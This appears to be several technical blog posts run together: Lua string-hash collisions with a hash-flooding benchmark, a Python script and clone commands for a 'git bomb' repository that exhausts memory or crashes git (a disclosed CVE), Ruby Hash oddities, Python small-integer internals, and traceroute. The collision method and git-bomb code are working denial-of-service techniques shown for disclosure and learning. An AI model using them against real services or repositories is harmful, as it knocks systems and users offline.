One of the first things that jumped out at me was that there didn’t seem to be any mention of siphash in the Lua source code. Ruby and Python use siphash with a per-session key to generate hashes. You can easily verify that the hash of a string changes in different Ruby sessions:

$ irb
irb(main):001:0> "hello!".hash
=> -3270480275822396260
irb(main):002:0> exit
$ irb
irb(main):001:0> "hello!".hash
=> -4583553666733776547

Using a debugger, I saw that strings in Lua also have different hashes between different sessions. However, Lua doesn’t appear to use siphash, so I decided to investigate exactly what it does instead. The Lua hashing approach for strings is nearly at the top of lstring.c:

unsigned int luaS_hash (const char *str, size_t l, unsigned int seed) {
  unsigned int h = seed ^ cast(unsigned int, l);
  size_t step = (l >> LUAI_HASHLIMIT) + 1;
  for (; l >= step; l -= step)
    h ^= ((h<<5) + (h>>2) + cast_byte(str[l - 1]));
  return h;
}

Reading this code, it is pretty obvious that most of the string is ignored when it is hashed. This makes it very easy to generate collisions! For example, in Lua, all these strings have the same hash:

"0000000000000000000000000000000000"
"f0l0l0w0m0e0n0t0w0i0t0t0e0r0?0:0)0"
"x0x0x0x0x0x0x0x0x0x0x0x0x0x0x0x0x0"

I wrote up a quick script to generate collisions and tested with 50,000 values of length 34 compared to random strings in a similar setup. Parsing a json file that uses these strings as keys with rapidjson (a popular Lua library) showed stark results:

$ lua parse-json.lua
0.04s user 0.01s system 82% cpu 0.067 total
$ time lua parse-json-collision.lua
13.68s user 0.07s system 99% cpu 13.841 total

The test with colliding hashes took more than 300× longer to process. The growth is not linear: a larger file could take significantly longer.

This problem of Hash DoSing is mentioned on lua-users Wiki, and there is discussion about this on their mailing in 2012. However, in 2017 using the latest version of Lua, it is still trivial to generate collisions.

Thank you to Wesley and Jake for pairing on debugging Lua, and reading the source code.

A Git bomb is a compact repository that explodes to consume extreme size on disk and in memory. Read more about them in the original git bomb post. This post walks through some code to create them. A full script to create them is available in the Git Bomb Readme.

The basic outline:

depth = 10  # how many layers deep
width = 10  # how many files or folders per depth level
blob_body = b'one laugh'  # content of blob at bottom

# Create base blob
blob_hash = write_git_object(blob_body, type='blob')

# Dirs is an array of (name, hash) pairs
dirs = [('f' + str(i), blob_hash) for i in range(width)]
file_permission = '100644'
# Write tree object containing the blob `width` times
tree_hash = write_git_object(create_tree(dirs, file_permission), type='tree')

# Make layers of tree objects using the previous tree object
# Each tree contains the last tree `width` times
for i in range(depth - 1):
    # again dirs is an array of (name, hash) pairs
    dirs = [('d' + str(i), tree_hash) for i in range(width)]
    tree_permission = '40000' # trees and blobs need different permissions
    tree_hash = write_git_object(create_tree(dirs, tree_permission), type='tree')

# Create a commit pointing at our topmost tree
commit_hash = write_git_commit(tree_hash)

# Update master ref to point to new commit
open('.git/refs/heads/master', 'wb').write(commit_hash)

The bodies of write_git_object and write_git_commit simply call the appropriate git commands (git hash-object and git commit-tree). There is nothing magic about those commands, you can achieve the same thing using hashlib and zlib if you want to learn more about git internals.

def write_git_object(object_body, type='tree'):
    '''Writes a git object and returns the hash'''
    with tempfile.NamedTemporaryFile() as f:
        f.write(object_body)
        f.flush()
        command = ['git', 'hash-object', '-w', '-t', type, f.name]
        return subprocess.check_output(command).strip()


def write_git_commit(tree_hash, commit_message='Create a git bomb'):
    '''Writes a git commit and returns the hash'''
    command = ['git', 'commit-tree', '-m', commit_message, tree_hash]
    return subprocess.check_output(command).strip()

create_tree makes a valid tree object. Git tree objects are quite simple, they are a concatenated list of {permission} {sub-tree or blob name}\x00{sub-tree or blob hash as binary}.

def create_tree(dirs, perm):
    body = b''
    for a_dir in sorted(dirs, key=lambda x: x[0]):
        body += bytearray(perm, 'ascii') + b'\x20' + bytearray(a_dir[0], 'ascii')
        body += b'\x00' + binascii.unhexlify(a_dir[1])
    return body

That’s it! Different paramaters for depth and width will have different properties. I chose 10 for both in my original post to be similar to the “billion laughs” XML bomb. Choosing very high values for depth (around ~10,000 on my machine) will cause git to segfault after running out of stack space.

$ git clone https://github.com/Katee/git-bomb.git

Were you able to clone it? Unless you have quite a lot of memory (both RAM and storage) git was killed, ran out of memory, or you had to reboot. Why is this? It is a perfectly formed repo made of only 12 objects.

How does a tiny repo cause git to run out of memory? The secret is that git de-duplicates “blobs” (which are used to store files) to make repositories smaller and allow using the same blob when a file remains unchanged between commits. Git also allows de-duplication of “tree” objects (which define the directory structure in a repository). git-bomb tries to make a billion files, however it only has 10 references to the file blob and only has 10 tree objects in all.

This is extremely similar to the “billion laughs” (aka “XML bomb”) hence the name “git bomb”.

Structure

Bottom

At the bottom there is a file blob containing “one laugh”:

$ git show 5faa3895522087022ba6fc9e64b02653bd7c4283
one laugh

There is one tree object that refers to this blob 10 times

$ git ls-tree 6961ae061a9b89b91162c00d55425b39a19c9f90
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283	f0
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283	f1
# … snipped
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283	f9

Middle

Then 9 layers of tree objects that refer to the tree object below them (here is the top tree object):

$ git ls-tree 106d3b1c00034193bbe91194eb8a90fc45006377
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6	d0
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6	d1
# … snipped
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6	d9

Top

The master ref just points to the top-most tree object:

$ git log --pretty=format:"%s | tree: %T"
Create a git bomb | tree: 106d3b1c00034193bbe91194eb8a90fc45006377

Trying to interact with this repo using anything that has to walk the tree (git status, git checkout) runs into memory issues because git builds the tree in memory before writing files to disk. That means the process is killed instead of filling up your disk space.

Other Git Bombs

Here is a slightly different version of the same idea. This repo has 15,000 nested tree objects. On my laptop this ends up blowing up the stack and causing a segfault.

$ git clone https://github.com/Katee/git-bomb-segfault.git

If you’d like to make your own git bombs read the next post Making Your Own Git Bombs.

Updates

2017-10-11: Got a go-ahead from Github on Hackerone to post this.
2017-10-12: Was awarded a bounty by Github on Hackerone.
2017-10-12: This post was on the front page of Hacker News and received comments.
2017-10-13: There is a discussion of this on the git mailing list. It includes a mention of a repo of this nature being uploaded to Github in 2014.
2017-10-14: CVE-2017-15298 💫
2017-10-15: Josh Lee uploaded a similar repo to GitHub long before me and even gave it a very similar name! The actual repo is disabled, and he never wrote about it publicly.

Thank you Wesley for pairing on many weird git repos. He is currently looking for a job, and I can say from experience pairing with him is fantastic. If you are hiring get in touch with him w.aptekar@gmail.com.

Like (every?) user of Ruby I constantly use the built-in Hash class. I’ve made my own classes usable as keys and know that there are multiple equality methods. With this understanding I decided to try and make strange Hash instances.

Strange Hash #1: Non-unique keys

How about a hash that only allows one value for any Integer key regardless of the integer value? From the documentation it seems that this is as simple as changing Integer#hash to always return the same value and Integer#eql? to always return true:

class Integer
   def eql?(other)
     true
   end

  def hash
     0
  end
end

table = {}
table[1] = 'one'
table[5] = 'five'
puts table
#=> {1=>"one", 5=>"five"}

Strange, that wasn’t what I expected. The table has entries for both 1 and 5 even though I don’t expect Hash to be able to differentiate these keys anymore. Playing around with some of these monkey-patched integers shows them working how I expect:

irb(main)> 1 == 2
=> false
irb(main)> 1.eql? 2
=> true
irb(main)> 1.hash
=> 0
irb(main)> 2.hash
=> 0

I know I’ve defined eql? and hash on my own classes before and had it work the way the Ruby documentation describes. How about trying the same patch but for the Array class instead?

class Array
  def eql?(other)
    true
  end

  def hash
    0
  end
end

table = {}
table[[1]] = 'array with one'
table[[5]] = 'array with five'
puts table
#=> {[1]=>"array with five"}

Both [1] and [5] were treated as the same key! table[[5]] = 'array with five' caused the value for [1] to be over-written. Any lookup with an array key will return the last value stored in table with an array key 🎉

irb(main)> table[[1]]
=> "array with five"
irb(main)> table[[5]]
=> "array with five"
irb(main)> table[['hello']]
=> "array with five"

Solving the Mystery

At this point I wasn’t satisfied with my understanding. Why does monkey-patching Array work when Integer doesn’t? Some more testing shows that other classes like Symbol and String also stubbornly continue to be treated as unique keys with the monkey-patch. The documentation doesn’t mention any special cases and the monkey patch works, just not when used as a key for a Hash.

Having tried documentation and experimentation I decide to move on to my next favourite option: looking at the MRI source code! Some relevant code in hash.c jumps out:

rb_any_cmp(VALUE a, VALUE b) {
  // ... snip
  if (FIXNUM_P(a) && FIXNUM_P(b)) {
    return a != b;
  }
  if (RB_TYPE_P(a, T_STRING) && RBASIC(a)->klass == rb_cString &&
      RB_TYPE_P(b, T_STRING) && RBASIC(b)->klass == rb_cString) {
    return rb_str_hash_cmp(a, b);
  }
  // ... snip
  if (SYMBOL_P(a) && SYMBOL_P(b)) {
    return a != b;
  }
  // ... snip

This certainly looks like optimizations for handling string, number and symbol keys. There is also some similar code in the any_hash function. Now that I know these are special cases I can steer clear when creating strange Hash instances.

Strange Hash #2: Duplicate Keys

How about storing multiple values for the same key? If an object returns inconsistent values for hash then the Hash class won’t consider it to be the same object:

class Array
  @@last_id = 0

  def eql?(other)
    false
  end

  def hash
    @@last_id = @@last_id + 1
  end
end

table = {}
table[[0]] = 'array with zero'
table[[0]] = 'another array with zero'

puts table
#=> {[0]=>"array with zero", [0]=>"another array with zero"}
puts table.keys
#=> [[0], [0]]

As expected table has multiple entries with for a single key 🎉

However getting back values stored using Array keys no longer works:

table = {}
table[[0]] = 'array with zero'
puts table[[0]]
#=> nil

Strange Hash #3: Expiring Key

class Array
  def eql?(other)
    Time.now.to_i < (@@key_expires_at || 0)
  end

  def hash
    @@key_expires_at ||= Time.now.to_i + 3
  end
end

table = {}
table[['expires']] = 'this value is only available for 3 seconds'
puts table[['expires']]
#=> 'this value is only available for 3 seconds'

sleep(5)
puts table[['expires']]
#=> nil

Now an array can only be used to retrieve a value within a set time period. This also causes all array keys to be seen as identical just like the first example.

Future Fun

I would love to be able to modify Array#hash and Array#eql? to behave differently when called by Hash for insertion vs. retrieval. Unfortunately I don’t see anything in caller to let me differentiate.

If you don’t know about the “small integers” table in Python, I recommend reading the original post first or this might be confusing.

Given the small integers table, these lines make sense to me:

>>> 100 is 100
True
>>> (10 ** 2) is (10 ** 2)
True

• 100 is in the small integers table
• (10 ** 2) is evaluated to 100 which is the same number in the small integers table.

Even these lines make sense:

>>> x = 1000
>>> y = 1000
>>> x is y
False
>>> (10 ** 3) is (10 ** 3)
False

Both x and y are too large to be in the small integers table, so they are not the same object.

However, this did not make sense to me:

>>> 1000 is 1000
True

Figuring it out with dis

Clearly something different is happening for 1000 is 1000 vs. (100 ** 2) is (100 ** 2). I’m not familiar with Python’s disassembler, but I know it exists so I tried it out:

>>> import dis
>>> def disassemble(code_str):
...   dis.dis(compile(code_str, '', 'single'))
...
>>> disassemble('1000 is 1000')
  1           0 LOAD_CONST               0 (1000)
              2 LOAD_CONST               0 (1000)
              4 COMPARE_OP               8 (is)
              6 PRINT_EXPR
              8 LOAD_CONST               1 (None)
             10 RETURN_VALUE
>>> disassemble('(10 ** 3) is (10 ** 3)')
  1           0 LOAD_CONST               3 (1000)
              2 LOAD_CONST               4 (1000)
              4 COMPARE_OP               8 (is)
              6 PRINT_EXPR
              8 LOAD_CONST               2 (None)
             10 RETURN_VALUE

Looking at this output, I was still confused why (100 ** 2) is (100 ** 2) wasn’t True. The Python peephole optimizer changes my line to only be a comparison of constants just like 1000 is 1000.

Do you see my mistake? I had completely missed the 0 in 0 (1000) vs the 3 in 3 (1000). Both lines load and compare constants, just not the same constants. Now it is very clear that they are loading different constants:

>>> def disassemble_with_constants(code_str):
...   code = compile(code_str, '', 'single')
...   dis.dis(code)
...   print("Constants:", code.co_consts)
...
>>> disassemble_with_constants('1000 is 1000')
  1           0 LOAD_CONST               0 (1000)
              2 LOAD_CONST               0 (1000)
              4 COMPARE_OP               8 (is)
              6 PRINT_EXPR
              8 LOAD_CONST               1 (None)
             10 RETURN_VALUE
Constants: (1000, None)
>>> disassemble_with_constants('(10 ** 3) is (10 ** 3)')
  1           0 LOAD_CONST               3 (1000)
              2 LOAD_CONST               4 (1000)
              4 COMPARE_OP               8 (is)
              6 PRINT_EXPR
              8 LOAD_CONST               2 (None)
             10 RETURN_VALUE
Constants: (10, 3, None, 1000, 1000)

Even after being optimized the constants used in the calculation are still kept. Also there is no optimization to make two identical constants not in the small integers table use the same object.

>>> a = 42
>>> b = 42
>>> a is b
True
>>> a = 316
>>> b = 316
>>> a is b
False

That is suprising! It turns out that all “small integers” with the same value point to the same memory. We can use the Python built-in function id which returns a value you can think of as a memory address to investigate.

>>> a = 128
>>> b = 256
>>> id(a)
4504844960
>>> id(b)
4504849056
>>> (id(a) - id(b)) / (a - b)
32.0

It looks like there is a table of tiny integers and each integer takes up 32 bytes.

>>> x = 1000
>>> y = 2000
>>> id(x)
4508143344
>>> id(y)
4508143312
>>> id(x) - id(y)
32

It looks like integers that aren’t in the small integers table also take up 32 bytes. The id for these is way larger than for the small integers which means they are stored somewhere else.

>>> id(x) - id(256)
3294288

Editing Integers?

What happens if we change the value of an integer in this table? Python has a module called ctypes that can be misused to directly edit memory. (We could also use a debugger but this way all the examples are in Python.)

Note: this code is very platform dependent. If it doesn’t work you might be using Python 2 instead of Python 3. In Python 2 changing mutate_int so that both instances of 24 are 16 may work.

>>> import ctypes
>>>
>>> def mutate_int(an_int, new_value):
...   ctypes.memmove(id(an_int) + 24, id(new_value) + 24, 8)
...
>>> a_number = 7
>>> another_number = 7
>>> mutate_int(a_number, 13)
>>> a_number
13
>>> another_number
13

Not only have we changed a_number and another_number but all new references to 7:

>>> for i in range(0, 10):
...   print(i)
...
0
1
2
3
4
5
6
13
8
9

Even doing math with 7 no longer works correctly 🎉

>>> 7
13
>>> 6 + 1
13
>>> 7 + 1
14
>>> (7 + 1) - 1
13
>>> 7 * 2
26
>>> 0b1111 ^ 0b1000
13

P.S. You can read more about the table of small integers in the CPython source code.

$ time traceroute steampowered.com
traceroute to steampowered.com (104.88.12.183), 64 hops max, 52 byte packets
 1  gateway.net.recurse.com (10.0.0.1)  6.991 ms  1.959 ms  1.961 ms
 2  207.251.103.45 (207.251.103.45)  3.264 ms  2.433 ms  3.217 ms
 3  te0-7-0-18.ccr21.jfk04.atlas.cogentco.com (38.104.73.241)  6.573 ms  4.164 ms  4.728 ms
 4  be2325.ccr42.jfk02.atlas.cogentco.com (154.54.47.29)  3.179 ms  2.550 ms  14.625 ms
 5  be2057.ccr21.jfk10.atlas.cogentco.com (154.54.80.178)  4.080 ms
    be2056.ccr21.jfk10.atlas.cogentco.com (154.54.44.218)  5.944 ms
    be2057.ccr21.jfk10.atlas.cogentco.com (154.54.80.178)  5.057 ms
 6  ae-13.r08.nycmny01.us.bb.gin.ntt.net (129.250.8.145)  3.689 ms  3.687 ms  3.398 ms
 7  ae-3.r07.nycmny01.us.bb.gin.ntt.net (129.250.6.176)  25.137 ms  16.652 ms  12.502 ms
 8  a104-88-12-183.deploy.static.akamaitechnologies.com (104.88.12.183)  4.710 ms  7.913 ms  4.445 ms
traceroute steampowered.com  0.00s user 0.01s system 3% cpu 0.214 total

Here’s a diagram representing the route:

I found a couple of the steps interesting:

• #1 is over Wifi to a router in the same room as me. It can take a long time to reach this!
• #2 is ISP Stealth Communications which provides fiber optic internet in NYC. However no “symbolic name” was found for it, stealthy.
• #5 has multiple lines because not all replies came from the same IP address. I think this might be the result of load balancing.
• #8 is a response from the IP for steampowered.com and ends the route. Now I know it is served by Akamai.

How do you trace a route?

Traceroute sends out UDP packets with “time-to-live” (TTL) values starting at 1 and increasing by 1. The TTL field is special because every device that processes a packet decrements it by 1. When a device decrements the TTL on a packet to 0 the packet is “dropped” and not sent to any other devices. Instead a Internet Control Message Protocol (ICMP) “Time-to-live exceeded” packet is dispatched back to the original sender. When traceroute sends a packet with a high enough TTL to actually reach the final destination you usually get back “Destination unreachable (Port unreachable)” because the UDP packets sent to a destination port that is unlikely to be open.

I found the name “time-to-live” initially confusing because in other contexts “time-to-live” refers to actual time not “number of devices travelled through”.

Is it fast?

In the example the entire process took 214 milliseconds with 153 milliseconds of that spent waiting for packets to return. On the same network ping steampowered.com gets results in about 8 milliseconds (with some results coming significantly faster). However ping and traceroute aren’t directly comparable because ping only needs to make one round trip while traceroute makes at least one round trip per device between you and the destination.

Another thing that makes traceroute slower is that by default three packets (called probes in the manual) are sent at each step. Also getting the symbolic names (e.g. gateway.net.recurse.com) isn’t free! Unless the name has already been cached a DNS query is made.

The closest I can get to making traceroute behave like the simplified diagram above is to send only one packet per TTL (-q option) and disable looking up symbolic names (-n flag):

$ time traceroute -q 1 -n steampowered.com
traceroute to steampowered.com (23.33.112.147), 64 hops max, 52 byte packets
 1  10.0.0.1  4.793 ms
 2  207.251.103.45  7.811 ms
 3  38.104.73.241  5.402 ms
 4  154.54.47.17  5.815 ms
 5  154.54.80.2  9.054 ms
 6  38.104.74.6  6.528 ms
 7  216.151.177.249  7.988 ms
 8  23.33.112.147  9.635 ms
traceroute -n -q 1 steampowered.com  0.00s user 0.00s system 4% cpu 0.100 total

The total time here 100 is milliseconds with 57 milliseconds being accounted for by the time spent waiting for the responses. That is fast enough for human consumption.

Can it be faster?

It might be possible to speed up traceroute by sending out many probes with different TTLs simultaneously. The ICMP response includes part of the original UDP packet making it possible to identify responses even if they return out of order if you include something unique in the original packet (like a unique destination port). The manual mentions that “Some systems such as Solaris and routers such as Ciscos rate limit ICMP messages.”. I sent 30 packets with TTLs between 1-30 simultaneously as a test and it mostly worked. However I only received a few responses for messages with a high enough TTL to reach the final destination which could be from rate-limiting.

Another big slowdown I experienced was the timeout when a hop returns no response. In that case traceroute waits number_of_probes × timeout before trying the next TTL. With the default settings the wait is 15 seconds (3 probes × 5 seconds).

Other tools

There is a useful tool mtr which is like a combination of traceroute and ping. It first gets ICMP responses like traceroute. Then it continually pings each device to display ongoing statistics. Unlike traceroute it will not find multiple IP addresses responding to the same TTL. I was happy to see that mtr is much faster that traceroute when a hop does not return anything.

I did experience something odd in mtr for hops where traceroute showed multiple IP addresses (e.g. #5 in the first example). For those hops mtr sometimes reports high rates of packet loss even though packet loss for the final destination is very low. This isn’t a bug with mtr but instead says something about the underlying route!

Resources

• Code of Apple’s traceroute
• mtr